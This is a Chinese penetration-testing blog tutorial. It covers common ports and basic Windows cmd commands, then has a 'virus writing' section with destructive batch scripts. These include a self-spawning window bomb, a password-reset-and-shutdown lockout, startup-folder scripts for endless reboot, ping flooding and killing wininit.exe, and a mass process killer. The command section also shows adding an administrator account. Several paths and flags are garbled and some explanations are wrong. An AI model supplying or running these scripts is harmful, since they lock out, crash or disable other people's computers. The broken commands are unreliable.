渗透测试--web基础之windows(二):常用命令详解及病毒编写

声明:学习素材来自b站up【泷羽Sec】,侵删,若阅读过程中有相关方面的不足,还请指正,本文只做相关技术分享,切莫从事违法等相关行为,本人一律不承担一切后果

目录

一、常见端口对应的服务

二、 常见的cmd命令

1.echo

2.dir (展示当前目录的文件)

3.d: c: 等和cd

4.tree (文件树状图)

5.md创建目录和rd删除目录

6.ipconfig (显示当前的网络状态 IP配置 一般用这个命令查看网络本机IP地址,排查网络问题)

7.cls (清屏)

8.copy (复制拼接文件)

9.move (文件移动)

10.ren (重命名)

11.del (删除)

12.ping (一般用于探测主机ip是否存活)

13.type (显示文本文件的内容)

14.reg (注册表)

15.nslookup (探测域名信息)

16.find (查找)

17.tasklist(任务列表 显示出当前的进程名称等信息)

18.taskkill (杀死进程)

19.ver, winver (显示版本)

20.start (启动 开始命令)

21.systeminfo (查看整个系统的信息)

22.logoff(注销)

23.shutdown(关机)/s /f /t /a /r /g /l

24.telnet(协议工具)

25.arp(自己ip和物理机的映射关系表表)

26.at(定时任务)

27.net(服务)

三、cmd病毒编写

1.资源耗尽病毒

2.锁机病毒

3.无限重启病毒

4.无限发包消耗资源病毒(类ddos)

5.终止进程病毒

6.蓝屏病毒


一、常见端口对应的服务

端口服务
 21ftp
23telnet
80web

80-89 可能是web

可能是web
443ssl心脏滴血漏洞以及一些web漏洞测试
445smb
1433mysql
1521oracle
2083/2082openel 主机管理系统登录  (国外使用较多
2222da虚拟主机管理系统登录(国外)
3128squid代理默认端口-漫游内网
3306mysql

3312/3311

kangle主机管理登录系统
3389远程桌面
5432postgrsql
5900vnc(shodan演示)
6379redis(未授权)
7001、7002weblogic 默认弱口令,反序列化
7778kioxo主机控制面板登录
8000-9090一些常见web端口,有些运维喜欢把管理后台开在非80端口上面
8080tomcat ,wdcp主机管理系统,默认弱口令
8080,8089,9090jboss
8083vestacp 主机管理系统(国外较多)
8649ganglia
8888宝塔 主机管理默认端口
10000virtuamin/webmin 服务器虚拟管理系统
11211memcache 未授权访问
27017、27018mongodb未授权访问(shodan)
28017mongodb 统计系统页面

二、 常见的cmd命令

1.echo

     echo /? (查看echo的帮助提示)

        echo 1 (输出1)

        echo 1 > 1.txt (输出1并重定向到1.txt文件)

  echo 456789 >> 1.txt (把内容追加到1.txt文件)

如果在用>,它就会把文件覆盖掉。

中文意思就是输出的意思。

2.dir (展示当前目录的文件)

3.d: c: 等和cd

        d: (切换到d盘)cd . (进入当前目录)cd .. (回退到上一级目录)cd /文件夹cd desktop (切换到桌面)

4.tree (文件树状图)

        tree /? (查看帮助文档)

        /f (显示每个文件夹中的名称)

        数据太多了

        /a (使用ascii字符,而不使用扩展字符)

        tree C:\Users\Administrator /f

        tree C:\Users\Administrator /a

(在渗透测试中比较常用)

5.md创建目录和rd删除目录

md是mkdir的缩写(二者作用一致)

md kkk (在当前目录创建名为kkk的文件夹)

rd kkk (删除kkk文件夹)

tab补全功能 例如 rd k(tab) 就可以进行文件名补全

6.ipconfig (显示当前的网络状态 IP配置 一般用这个命令查看网络本机IP地址,排查网络问题)

ipconfig /all(把所有本机的网络信息打印出来)

7.cls (清屏)

8.copy (复制拼接文件)

copy /? (查看帮助文档)

copy 1.txt ..\1.txt (把文件1.txt复制到上一级目录)

先利用刚刚学的 cd .. 回退到上一级目录 再利用dir命令查看文件

copy 1.txt desktop\2.txt (把admin文件夹中的1.txt复制到桌面并重命名为2.txt)

再说一个copy命令的使用方法 先echo 123 >1.txt 再echo 456 > 2.txt 然后利用copy 命令 copy 1.txt+2.txt  3.txt

(把1.txt的内容和2.txt的内容拼接起来 并重定向到3.txt并改名为3.txt)

9.move (文件移动)

move ..\1.txt 4.txt (把上一级目录中的1.txt移动到本级目录并且重命名为4.txt)

(有人说哎 刚刚copy也有这个操作 为啥不用copy,因为copy是复制原文件还存在,move是移动,移动了以后上一级目录就不存在我们所移动的文件了)

10.ren (重命名)

ren 4.txt 5.txt (把4.txt重命名为5.txt)

11.del (删除)

del 1.txt 2.txt 3.txt (删除1、2、3.txt文件)
这个命令所删除的文件是永久删除的不会进入回收站

12.ping (一般用于探测主机ip是否存活)

ping /? (查看命令帮助文档)
-t (一直ping)

13.type (显示文本文件的内容)

首先用echo dhaodaodjaodjoadjaodjao >> 1.txt
type 1.txt (查看文件内容)

14.reg (注册表)

reg /? (查看帮助文档) 

15.nslookup (探测域名信息)

nslookup www.baidu.com


nslookup -d www.baidu.com (查看历史解析记录)

16.find (查找)

find /? 查看帮助文档


先在1.txt里面输入各种字符串,find "a" 1.txt (在1.txt中查找带a的字段)


find /n "a" 1.txt (查找a参数的字段并排序行号)

type与find结合使用 使用 type 1.txt | find "a" (查看1.txt的内容并输出带有a参数的字段)

type 1.txt | find "a" /n (查看1.txt的内容并输出带有a参数的字段并排序行号)

17.tasklist(任务列表 显示出当前的进程名称等信息)

18.taskkill (杀死进程)

taskkill /? (查看帮助文档)

常用一般是-pid和-f -t

演示一下首先 calc(计算器) 开启一个进程

先用tasklist 查看进程 teskkill /pid 2824 杀死进程可以看见计算器以被杀死

假如遇见杀不掉的进程加一个 /f 参数即可

19.ver, winver (显示版本)

20.start (启动 开始命令)

例如 start cmd(打开cmd)

start calc (开启计算器)

start ping www.baidu.com -t(启动ping 并执行-t参数)

21.systeminfo (查看整个系统的信息)

查看一些比较重要的信息 比如说补丁信息,后期我们提权就是针对一些不同的修补程序进行一个提权,例如它少打了哪些补丁我们就利用少打的补丁进行提权。(溢出系统提权)

22.logoff(注销)

先logoff /?(查看帮助文档)

logoff(注销,后期提权成功的情况下要远程登陆3389桌面的话,有可能有的机器是链接状态 我们可以利用这个命令把对方的远程登陆注销掉)

当然了这个比较暴力 也有不用这个命令也可以挤掉对方

23.shutdown(关机)/s /f /t /a /r /g /l

shutdown /?(查看帮助文档)

它的参数很多

shutdown /s(在一分钟内关机)

shutdown /a(计划取消)

shutdown /r(重启)

shutdown /g(在一分钟内关机)

shutdown /r /t 0(-t设置时间 设置为0立即执行)

shutdown /s /t 0

shutdown -a 终止进程

24.telnet(协议工具)

控制面板→程序→打开或关闭Windows功能→telnet 客户端勾选

telnet(之前在shodan中 思科的设备就是基于这个)

25.arp(自己ip和物理机的映射关系表表)

arp /?(查看帮助文档)

arp -a(假设你以后拿到了一台内网机器你通过这条命令可以查看当前内网有哪些主机以便于横向移动,用于发现同一网络有哪些主机)

26.at(定时任务)

例如我要定时关机 at 时间 "shutdown(关机)/r /t 0"

取消命令 at 1 /delete

27.net(服务)

net stop telent(关闭telent)

net start telnet(打开telent)

net user(查看当前用户)

net user admin 123 /add(添加用户名admin 密码123的用户)

net user admin(查看admin用户权限)

net localgroup administrator admin /add(授权)

net user admin /del(删除用户)

三、cmd病毒编写

1.资源耗尽病毒

bat (脚本文件后缀名.bat)

耗尽资源的bat病毒---》无限弹窗来耗尽cpu资源

echo start cmd>1. txt

echo %0>>1.txt

ren 1.txt 1. bat

原理剖析:

  1. echo start cmd>1.txt

    • 这个命令的意思是将文本 start cmd 写入一个名为 1.txt 的文件中。
    • echo 命令用于输出文本,> 符号表示将输出重定向到文件中(如果文件已存在则会覆盖原文件)。
  2. echo %0>>1.txt

    • 这里的 %0 是一个特殊变量,代表无限点击。
    • >> 符号表示将输出追加到 1.txt 文件的末尾,而不是覆盖。
    • 所以这个命令会将当前批处理文件的名称追加到 1.txt 中。
  3. ren 1.txt 1.bat

    • 这个命令用来重命名文件,将 1.txt 重命名为 1.bat
    • ren 是重命名的命令。

2.锁机病毒

echo net user administrator 123456>c:windows \Temp \1. bat

echo shutdown /n/t 0>>c:\windows \Temp\1. bat

  • 原理:当运行 1.bat 文件时,它会首先将管理员帐户的密码更改为 123456(如果具有相应的权限),然后立即关闭计算机。再次登录就被锁机

3.无限重启病毒

echo shutdown /n/t 0>C:\windowS \Temp 1. bat copy c:windows \ Temp\1.bat "%USERPROFILE%\AppData\Roaming\Microsoft\windows\Start Menu\Programs\Startup\"

原理:

  • 创建关机脚本:首先,系统会在 C:\windows\Temp\ 下创建一个批处理文件 1.bat,这个文件的内容是命令 shutdown /s /t 0,因此它会立即关机。
  • 自启动设置:然后将这个批处理文件复制到用户的启动文件夹中。这样,每次用户登录到 Windows 时,1.bat 都会自动执行,导致系统立即关机。

4.无限发包消耗资源病毒(类ddos)

echo ping www.com -t > C:\windows \Temp \1. bat

echo shutdown /r /t 0 >> C:\windows \Temp

echo %0 >> 1.bat

copy c:windows\Temp\1.bat

"%USERPROFILE%\AppData\Roaming\Microsoft\windows\Start Menu\Programs\Startup\"

5.终止进程病毒

@echo off  
:: 脚本会关闭所有用户自定义进程,保持必要的系统进程  
for /f "tokens=1" %%i in ('tasklist ^| findstr /v /i "System Idle Process" ^| findstr /v /i "Windows" ^| findstr /v /i "System" ^| findstr /v /i "services.exe" ^| findstr /v /i "svchost.exe"') do (  
    echo Terminating process %%i  
    taskkill /F /PID %%i  
)  

echo All non-system processes terminated.  
pause

原理:

  • @echo off: 禁用命令回显,使输出更干净。
  • for /f: 遍历任务列表中的每一行,使用 tasklist 命令获取进程列表。
  • findstr: 过滤掉那些你不想结束的系统进程,包括 “System Idle Process”、“Windows”、“System”、“services.exe” 和 “svchost.exe”。
  • taskkill /F /PID: 强制结束选定的进程。

6.蓝屏病毒

echo taskkill /im wininit.exe /f > 1.bat

copy c:\users\administrator\desktop\1.bat c\programData\Microsoft\Windows\Start menu\Programs\Startup\

windows 系统目录接管与渗透的关系

"%USERPROFILES\AppData\Roaming\Microsoft\windows\Start Menu\Programs \Startup\"

(开机自启目录)

c:\windows\Temp\1.bat (重启自动清空缓存)

快捷打开:win+r --> 输入shell:common startup


以上就是关于本文的内容了,希望对你有所帮助咯。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/9588.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

【含文档】基于ssm+jsp的客户管理系统(含源码+数据库+lw)

1.开发环境 开发系统:Windows10/11 架构模式:MVC/前后端分离 JDK版本: Java JDK1.8 开发工具:IDEA 数据库版本: mysql5.7或8.0 数据库可视化工具: navicat 服务器: apache tomcat 主要技术: Java,Spring,SpringMvc,mybatis,mysql,vue 2.视频演示地址 3.功能 管理员登录进入…

腾讯混元宣布大语言模型和3D模型正式开源

腾讯混元大模型正在加快开源步伐。 11月5日,腾讯混元宣布最新的MoE模型“混元Large“以及混元3D生成大模型“ Hunyuan3D-1.0”正式开源,支持企业及开发者精调、部署等不同场景的使用需求,可在HuggingFace、Github等技术社区直接下载&#xff…

《常用深度学习神经网络及其原理与应用场景》

一、总体介绍 一、引言 随着科技的不断发展,深度学习已经成为人工智能领域中最具影响力的技术之一。深度学习神经网络通过模拟人类大脑的神经元结构和工作方式,能够自动学习数据中的特征和模式,从而实现各种复杂的任务,如图像识…

操作系统三级调度相关习题

填空题 微机是以(总线)为组带构成的计算机系统在批处理兼分时系统中,往往把由分时系统控制的作业称为(前台)作业,把由批处理系统处理的作业称为(后台)作业在分时系统中,若时间片长度一定,则(用户数越多),系统响应时间…

STL 迭代器iteratior 详解

C的标准模板库(STL)中,迭代器是一种重要的工具,用于访问容器中的元素。 迭代器是一个变量,相当于容器和操纵容器的算法之间的中介。迭代器可以指向容器中的某个元素,通过迭代器就可以读写它指向的元素。从…

移门缓冲支架有什么作用?

移门缓冲支架是一种安装在滑动门上的装置,主要用于吸收门关闭时的冲击力,防止门突然停止时的震动,从而保护门体、轨道和墙体。移门缓冲支架不仅提升了门的使用体验,还增加了安全,延长了门的使用寿命。关于移门缓冲支架…

MATLAB大数计算工具箱及其用法

1. MATLAB大数工具箱Variable Precision Integer Arithmetic介绍 Variable Precision Integer Arithmetic是John DErrico 开发的大数运算工具箱,可以用完全任意大小的整数进行算术运算。支持vpi定义的数组和向量。 2.MATLAB代码 完整代码见: https://download.cs…

AI大模型如何重塑软件开发流程?

《AI大模型对软件开发流程的重塑:变革、优势、挑战与展望》 一、传统软件开发流程与模式(一)传统软件开发流程(二)传统软件开发模式面临的问题(一)AI在软件开发中的应用场景(二&…

基于Python通过DOI下载文献(至简仅需2行代码)

文章目录 一、安装库二、导入库三、准备doi3.1 excel法3.1.1 检索数据3.1.2 导出excel 3.2 txt法3.3 列表or字符串法3.3.1 字符串3.3.2 列表 四、下载4.1 脚本4.2 下载成功4.3 已存在4.4 至于失败的 五、结果5.1 目标文件夹5.2 失败记录 一、安装库 pip install OAFuncs 二、导…

Git仓库

Git初始 概念 一个免费开源,分布式的代码版本控制系统,帮助开发团队维护代码 作用 记录代码内容,,切换代码版本,多人开发时高效合并代码内容 如何学: 个人本机使用:Git基础命令和概念 多…

excel常用技能

1.基础技能 1.1 下拉框设置 a. 选中需要设置的列或单元格,数据 ---》 数据验证 b.验证条件 ---> 序列(多个值逗号隔开) 2.函数 2.1 统计函数-count a.count(区域,区域,......) 统计数量,只针…

沙龙活动精彩回顾:攸信携手博格咨询,探索数智管理的奥秘

10月30日,一场聚焦数智管理的沙龙活动在热烈的氛围中圆满落幕。本次活动由攸信携手博格咨询共同举办,有幸邀请到了资深讲师书麟老师、攸信项目经理黄小容以及市场部经理高建成,他们共同为参会者带来了一场关于数智管理的知识盛宴。 01深入剖析…

17个工作必备的Python自动化代码

Python是一种流行的编程语言,以其简单性和可读性而闻名。因其能够提供大量的库和模块,它成为了自动化各种任务的绝佳选择。让我们进入自动化的世界,探索17个可以简化工作并节省时间精力的Python脚本。 1.自动化文件管理 1.1 对目录中的文件…

【IEEE/EI会议】第八届先进电子材料、计算机与软件工程国际学术会议(AEMCSE 2025)

会议通知 会议时间:2025年4月25-27日 会议地点:中国南京 会议官网:www.aemcse.org 会议简介 第八届先进电子材料、计算机与软件工程国际学术会议(AEMCSE 2025)由南京信息工程大学主办,将于2025年4月25日…

AndroidStudio-文本显示

一、设置文本的内容 1.方式&#xff1a; &#xff08;1&#xff09;在XML文件中通过属性&#xff1a;android:text设置文本 例如&#xff1a; <?xml version"1.0" encoding"utf-8"?> <LinearLayout xmlns:android"http://schemas.andr…

关于CountDownLatch失效问题

一、项目背景 这几天要开发一个类似支付宝那种年度账单统计的功能&#xff0c;就是到元旦后支付完会把用户这一年的消费情况从各个维度&#xff08;我们把这一个维度称作一个指标&#xff09;统计分析形成一张报告展示给用户。 这个功能实现用到了CountDownLatch。假如统计分析…

【含开题报告+文档+源码】基于SSM的物流管理系统设计与实现

开题报告 随着电子商务的迅猛发展和人们生活水平的提高&#xff0c;快递服务行业正经历着前所未有的增长。占航快递公司作为国内知名的快递企业之一&#xff0c;面临着巨大的机遇和挑战。传统的快递服务管理方式已经无法满足日益增长的业务需求&#xff0c;快递服务流程中的问…

【AtCoder】Beginner Contest 377-C.Avoid Knight Attack

Avoid Knight Attack 题目链接 Problem Statement There is a grid of N 2 N^2 N2 squares with N N N rows and N N N columns. Let ( i , j ) (i,j) (i,j) denote the square at the i i i-th row from the top ( 1 ≤ i ≤ N ) (1\leq i\leq N) (1≤i≤N) and j j…

sizeof和strlen区分,(好多例子)

sizeof算字节大小 带\0 strlen算字符串长度 \0之前

Javascript中如何实现函数缓存?函数缓存有哪些应用场景?

#一、是什么 函数缓存&#xff0c;就是将函数运算过的结果进行缓存 本质上就是用空间&#xff08;缓存存储&#xff09;换时间&#xff08;计算过程&#xff09; 常用于缓存数据计算结果和缓存对象 解释 const add (a,b) > ab; const calc memoize(add); // 函数缓存…